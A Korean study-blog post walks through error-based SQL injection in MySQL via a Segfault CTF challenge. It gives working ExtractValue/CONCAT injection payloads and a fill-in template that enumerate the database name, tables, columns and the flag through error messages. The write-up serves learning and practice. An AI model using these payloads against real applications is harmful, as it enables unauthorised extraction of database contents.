Error-based SQL Injection
이 SQLi 기법은 에러 메시지에 기반을 둔다. 페이지를 만드는 데 있어, 개발자들은 개발 편의상 에러 메시지를 페이지에 띄우는 경우가 많다. 에러 메시지를 띄우지 않으면 페이지가 그저 500 Error를 보이며 어떤 부분이 잘못됐는지 알려주지 않기 때문이다.
하지만 이렇게 에러 메시지를 띄우는 것은 공격자에게 좋은 정보를 제공할 기회를 만들어준다.
SQL Injection (Error Based SQLi Basic)
Segfault CTF의 문제를 예시로 들겠다.
쿼리가 잘못됐거나 하는 등의 이유로 제대로 동작하지 않는다면 다음과 같이 에러 메시지가 뜬다.
주목할 곳은 `~~ to use near ''normaltic'''` 이 부분이다. 실제 SQL 쿼리의 일부분을 보여준다. Error-based SQLi는 이 점을 이용한다.
ExtractValue
`ExtractValue(xml_frag, xpath_expr)` 함수는 xml 형태의 내용(xml_frag) 중 특정한 표현식(xpath_expr)을 이용해 파싱을 해주는 함수다.
SELECT ExtractValue('<a>Hello world</a>', '/a')
예를 들어 이런 쿼리를 작성하면 다음과 같은 결과가 출력된다.
하지만 xpath_expr 자리에서 문법에 맞지 않는 문자열이 들어가게 된다면 실행되지 않을 것이다.
여기까지만 보면 SQLi에 도움이 될만한 것이 보이지 않지만, 중요한 점은 `ExtractValue` 함수를 실행하기 전 문자열들을 먼저 처리한다는 것이다.
SELECT ExtractValue('<a>Hello world</a>', (SELECT '/a'))
`ExtractValue` 함수 안의 파라미터인 `(SELECT '/a')`를 먼저 문자열 `'/a'`로 처리한다. 그래서 실제로 `ExtractValue`가 실행될 때는 이러한 쿼리일 것이다.
SELECT ExtractValue('<a>Hello world</a>', '/a')
그렇다면 필요한 문자열은 SELECT를 이용해 뽑아낸 뒤, ExtractValue 함수가 실행될 때 에러를 일으켜 에러메시지를 띄운다면 에러 메시지에서 원하는 문자열을 확인할 수 있을까?
가능하다. 그 방법이 바로 Error-based SQLi인 것이다.
그러기 위해서는 ExtractValue 함수가 실행될 때 에러를 일으킬 수 있어야 한다. xpath_expr에는 지켜야할 문법이 존재한다. 만약 그 문법을 어긴다면 에러가 난다. 아까처럼 `.`으로 시작하거나 `!`로 시작하는 등 여러 방법으로 에러를 일으킬 수 있다.
하지만 얻고자 하는 문자열이 `!`이나 `.`으로 시작하지 않을 확률이 굉장히 높다. 그러므로 원하는 문자열 앞에 에러를 일으켜줄 문자를 붙여줄 필요가 있다.
SELECT CONCAT('.', 'Hi')
이럴 때 `CONCAT` 함수를 사용한다.
CTF
아까 다시 그 CTF 문제로 돌아가보자. 위에서 언급한 내용들을 토대로 DB명을 알아내보자.
normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #
이 입력이 들어가면 쿼리는 다음과 같이 완성될 것이다.
SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', CONCAT('.', (SELECT Database()))) #'
`CONCAT`이 실행된 다음의 쿼리와 동치다.
SELECT * FROM member WHERE id='normaltic' and ExtractValue('a', '.errSqli') #'
여기서 xpath_expr 자리의 `'.errSqli'`가 문법에 어긋나기 때문에 에러가 발생한다.
그러한 에러는 페이지의 에러메시지로 표현되게 된다.
이렇게 공격자는 DB명을 알아낼 수 있게 된다: `errSqli`
공격자는 공격을 쉽게 하기 위해 템플릿을 만들 수 있다.
a' and ExtractValue('a', CONCAT('.', (______))) #
(______) 자리에 이제 얻고자 하는 문자열이 나오도록 SELECT문을 짜면 되는 것이다.
Capture The Flag
이제 이 Error-based SQLi 원리를 이용해 Flag까지 따내어 보겠다.
SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1
이제 이 쿼리를 아까 저 템플릿의 빈칸에 넣으면 공격 input이 완성된다.
a' and ExtractValue('a', CONCAT('.', (SELECT table_name FROM information_schema.tables WHERE table_schema='errSqli' LIMIT 0,1))) #
이렇게 테이블의 이름을 얻어낼 수 있다. 테이블이 더 있을 수도 있으니 `LIMIT 0,1`을 조절해가며 전부 얻어내보겠다.
Flag는 `flagTable` 또는 `plusFlag_Table`에 있을 것으로 보인다.
이제 각각의 칼럼명을 전부 알아내자.
SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1
↓
a' and ExtractValue('a', CONCAT('.', (SELECT column_name FROM information_schema.columns WHERE table_name='flagTable' LIMIT 0,1))) #
두 테이블 모두 `idx`, `flag`라는 칼럼을 가지고 있다.
딱 봐도 `idx`보단 `flag`에 Flag가 담겨 있을 것 같으니 해당 칼럼의 값들을 조회해보면..
SELECT flag FROM flagTable LIMIT 0,1
↓
a' and ExtractValue('a', CONCAT('.', (SELECT flag FROM flagTable LIMIT 0,1))) #
Flag를 얻을 수 있다.
'Study > with normaltic' 카테고리의 다른 글
SegFault CTF - 7주차 (1) | 2025.05.28 |
---|---|
Blind SQL Injection (0) | 2025.05.25 |
SegFault CTF - 6주차 (0) | 2025.05.14 |
SegFault CTF - 5주차 - 번외 (0) | 2025.05.07 |
SegFault CTF - 5주차 - 2 (1) | 2025.05.06 |